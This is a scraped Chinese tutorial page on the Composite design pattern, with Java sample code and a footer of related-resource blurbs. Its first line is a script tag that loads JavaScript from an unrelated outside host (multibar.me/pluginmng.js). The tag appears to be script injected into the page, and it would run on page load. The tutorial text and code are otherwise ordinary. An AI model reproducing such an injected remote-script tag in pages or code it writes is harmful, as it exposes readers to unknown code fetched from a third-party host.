<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>
七:合成
(Composite)
模式
合成模型模式属于对象的结构模式,有时又叫做部分
-
整体模式。合成模式将对象组织到树结构中,可以用来描述整体与部分的关系,也就是说,它把部分和整体的关系用树结构表示出来。合成模式可以使客户端将单纯元素与复合元素同等看待。
涉及角色:
抽象构件
(Component)
角色:一个抽象角色,它给参加组合的对象规定一个接口。给出共有的接口及其默认行为。
树叶构件
(Leaf)
角色:代表参加组合的树叶对象。一个树叶没有下级的子对象,定义出参加组合的原始对象的行为。
树枝构件
(Composite)
角色:代表参加组合的有子对象的对象,并给出树枝构件对象的行为。
合成模式的实现根据所实现接口的区别分为两种形式,分别称为安全式和透明式。
透明方式:在
Component
里面声明所有的用来管理子类对象的方法,例如
add(),
remove(), getChild()
等。这样的好处是所有的构建类都有相同的接口,在客户端看来,树叶类对象与合成类对象的区别起码在接口层次上消失了,客户端可以同等地对待所有的对象。缺点是不够安全,因为树叶类对象和合成类对象在本质上有区别的。
安全方式:在
Composite
里面声明所有的用来管理子对象的方法,此种做法是安全的,因为树叶类型的对象根本就没有管理子对象的方法,所以,如果客户端对树叶类对象使用这些方法时,编译器就会出错。缺点是不够透明,因为树叶类和合成类具有了不同的接口。
使用场景:
(1)
需要描述对象的部分和整体的等级结构。
(2)
需要客户端忽略掉个体构件和组合构建的区别。
优缺点:
合成模式可以很容易地增加新种类的构件,可以使客户端变得很容易设计
(
因为客户端不需要知道构件是树叶还是树枝
)
;但是使用合成模式后,控制树枝构件的类型就不太容易,还有,用继承的方法来增加新的行为很困难。
/**安全方式**/
package com.co.patterns.composite.savety;
/**
* 抽象构件角色
* @author laotan
*/
public abstract class Graphics {
public abstract void draw();
}
/**
* 树叶节点构件
* @author laotan
*/
public class Line extends Graphics {
public void draw() {}
}
public class Circle extends Graphics {
public void draw() {
}
}
import java.util.ArrayList;
import java.util.List;
/**
* 树枝节点构件角色
* @author laotan
*/
public class Picture extends Graphics {
private List<Graphics> gList = new ArrayList<Graphics>();
public void draw() {
for (int i=0; i<gList.size(); i++) {
Graphics g = gList.get(i);
g.draw();
}
}
// 一下是对构件集合的管理方法
public void add(Graphics g) {
gList.add(g);
}
public void remove(Graphics g) {
gList.remove(g);
}
public Graphics getChild(int i) {
return gList.get(i);
}
}
分享到:
相关推荐
java常用设计模式-组合模式 组合模式(Composite Pattern)是一种结构型设计模式,它允许你将对象组合成树形结构以表示“部分-整体”的层次结构。这种模式使得客户端可以统一对待单个对象和对象组合。在组合模式中...
设计模式中的组合模式的示例代码。 包括透明写法和安全写法两种实现方式的示例。
c++设计模式-结构型模式-组合模式;qt工程;c++简单源码; 组合(Composite Pattern)模式的定义:有时又叫作整体-部分(Part-Whole)模式,它是一种将对象组合成树状的层次结构的模式,用来表示“整体-部分”的关系...
组合模式是一种结构型设计模式,它允许我们使用树形结构来表示部分与整体的关系,使得我们能够以统一的方式来处理单个对象和对象的组合。在组合模式中,单个对象和组合对象都被视为同一类型,这使得客户端代码可以对...
JAVA-设计模式-结构型模式-组合模式
设计模式(Design pattern)代表了最佳的实践,通常被有经验的面向对象的软件开发人员所采用。设计模式是软件开发人员在软件开发过程中面临的一般问题的解决方案。这些解决方案是众多软件开发人员经过相当长的一段...
《C++设计模式--基于Qt4开源跨平台开发框架》一书主要探讨了如何在C++编程中利用设计模式,并结合Qt4框架进行高效的跨平台应用开发。设计模式是软件工程中的重要概念,它们是经过时间和实践验证的解决特定问题的模板...
在众多设计模式中,组合实体(Composite)模式是一种结构型模式,它允许我们以树形结构来表示部分与整体的关系,使得用户可以一致地处理单个对象和对象组合。在iOS开发中,组合实体模式尤其有用,因为它简化了复杂...
组合模式是一种结构型设计模式,它允许我们使用树形结构来表示部分-整体关系,使得我们能够像处理单个对象一样处理整个集合。在Java中,这种模式的应用可以帮助我们简化对复杂对象层次结构的操作,同时保持接口的...
设计模式通常分为三类:创建型模式(如工厂模式、抽象工厂模式、单例模式、建造者模式、原型模式),结构型模式(如适配器模式、装饰器模式、代理模式、桥接模式、组合模式、外观模式、享元模式)以及行为型模式(如...
C++设计模式是一种在软件开发中经过验证的解决常见问题的方法论,它为软件开发提供了标准的解决...在研究提供的源码时,读者应重点关注如何在实际场景中应用和组合这些设计模式,以及它们如何与QT4框架的特性相结合。
根据给定文件内容,以下是关于Java设计模式的知识点说明: 1. 策略模式(Strategy Pattern)是一种行为设计模式,允许在运行时选择算法的行为。策略模式的意图是定义一系列算法,将每个算法封装起来,并使它们可以...
- 组合模式(Composite):将对象组合成树形结构以表示“部分-整体”的层次结构。 - 装饰模式(Decorator):动态地给一个对象添加一些额外的职责。 - 享元模式(Flyweight):使用共享对象,有效地支持大量细...
总结来说,"组合模式-空军指挥系统"这一主题涉及到Java设计模式中的组合模式理论和实践,以及如何在实际的空军指挥系统项目中应用该模式。通过组合模式,我们可以构建出层次分明、易于管理和扩展的系统,使得在复杂...
这个资源"Java设计模式----通俗易懂版"显然是一个专门针对初学者或需要深入理解设计模式的开发者编写的指南。作者以形象生动的例子解释了23种经典的Java设计模式,使得复杂的概念变得更加易于理解。 首先,我们要...
设计模式06-适配器、桥接、组合模式 设计模式07-组合模式、装饰模式 设计模式09-外观模式、享元模式 设计模式10-代理模式、结构型模式大复习 设计模式11-行为模式-责任链、命令模式 设计模式12-解释器模式 设计模式...
2. **设计模式分类**:设计模式通常分为三类:创建型模式(如工厂方法、抽象工厂、单例、建造者、原型)、结构型模式(如适配器、桥接、装饰、组合、代理、外观、享元)和行为型模式(如责任链、命令、解释器、迭代...
### 设计模式实验报告——组合模式 #### 实验目的与背景 本次实验旨在通过实践学习设计模式中的组合模式,理解其工作原理及应用场景。组合模式(Composite Pattern)是一种结构型设计模式,它允许用户将对象组合成...
这个“JAVA设计模式-chm版”资源显然包含了关于Java设计模式的详细信息,便于理解和应用。设计模式是对常见问题的解决方案的标准化描述,它们在软件工程中起到了重要的作用,帮助开发者创建可维护、可扩展且易于理解...